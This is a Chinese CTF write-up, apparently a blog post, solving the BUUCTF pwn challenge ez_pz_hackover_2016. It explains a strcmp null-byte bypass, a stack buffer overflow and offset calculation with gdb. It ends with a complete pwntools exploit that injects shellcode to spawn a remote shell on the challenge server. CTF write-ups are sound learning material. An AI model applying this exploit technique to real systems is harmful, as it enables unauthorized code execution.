BUUCTF刷题之路--ez_pz_hackover_20161

23 篇文章 1 订阅

检查开启的保护:

32位程序,没有开启保护。看到这大概率猜到是可以利用shellcode。接着IDA查看下逻辑:
主函数:

 header函数:

 chall函数:

 大致讲解下程序逻辑。首先会要求你输入一个名字。存入s这个缓冲区中。接着会输出你的名字。

 我们看到缓冲区的大小有0X40c也就是1036个字节,但是允许输入的只有1023个字节。因此在这里我们无法溢出。接着往下看。有一个vuln函数:

允许我们向缓冲区存入0x400个字节,而缓冲区大小仅有0x32字节。因此这个函数里是存在栈溢出漏洞的,我们需要执行这个函数。想要执行这个函数先要绕过if(!result)语句的判断。strcmp是比较字符串的函数,当他遇到/0的时候会发生截断,因此我们构造一个crashme/x00就能进入vuln函数。在vuln函数里,会把s缓冲区里的数据复制到dest缓冲区中。因此我们需要在一开始的输入就构造好我们的shellcode,和shellcode的地址。我在做这题的时候有很多疑问。根据IDA的提示,s数组应该在ebp的上面0x40c个字节处,而dest应该在ebp上面的0x32字节处.但是当我进行输入调试的时候发现ebp在我输入缓冲区的上面。

我不明白为什么(后来补充的:我好像明白为什么了,因为s缓冲区是在chall函数里面的局部变量,是先开辟栈空间的,再后来执行vuln函数,会开辟新的栈空间,在s缓冲区的上面,因此图示可以是这样的)(保留我自己的疑问,哈哈):

我们在vuln快执行完的地方下个断点看看栈的布局:

调试的代码:

from pwn import *
p=process('./ez_pz_hackover_2016')
context.log_level='debug'

gdb.attach(p,'b *0x8048600')

p.recvuntil('crash: ')
stack=int(p.recv(10),16)#接收s在栈上的地址
print hex(stack)

payload='crashme\x00'+'aaaaaa'#crashme\x00绕过if判断      
p.sendline(payload)

pause()

 

按照这样的布局,我们就需要把这个ebp+4的位置给覆盖成我们shellcode的地址。那么我们算一下需要多少字节能覆盖到:

ebp的偏移看到是0x38,我们输入的位置是0x22 ,因为63是c,72是r,0000不是我们输入的。小端字节序倒着读。(0x38-0x22)=0x16,得再加4,才能到返回地址。因此这个偏移大概是0x16+4.

因此构造的样子需要是这样的:

payload='crashme\x00'+'a'*(0x16-8+4)+p32(addr) //-8是因为crashme\x00占用了

程序运行的开始会给我们输出一个s的栈地址。我们在布局中看一下:

这就是我一直疑惑的点(后来不疑惑了)。它在ebp的下面。将计就计,既然我们只有一次输入机会,那么我们构造完返回地址后,肯定跟的是我们的shellcode。因此我们直接把地址返回给ebp+8的位置。这个偏移我们怎么得到呢,直接0xffffc2f9c-0xfffc2f80=1c。这样我们的大功就告成了。很多细节我还是不是很懂啊。以后想到了再补充。最后我们的exp如下:

# -*- coding: utf-8 -*-
from pwn import *

r=remote('node4.buuoj.cn','29896')
r.recvuntil('crash: ')
stack_addr=int(r.recv(10),16)
shellcode=asm(shellcraft.sh())#自动生成shellcode

payload='crashme\x00'+'a'*(0x16-8+4)+p32(stack_addr-0x1c)+shellcode
r.sendline(payload)

r.interactive()

得到flag: 

tiaostiao's

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值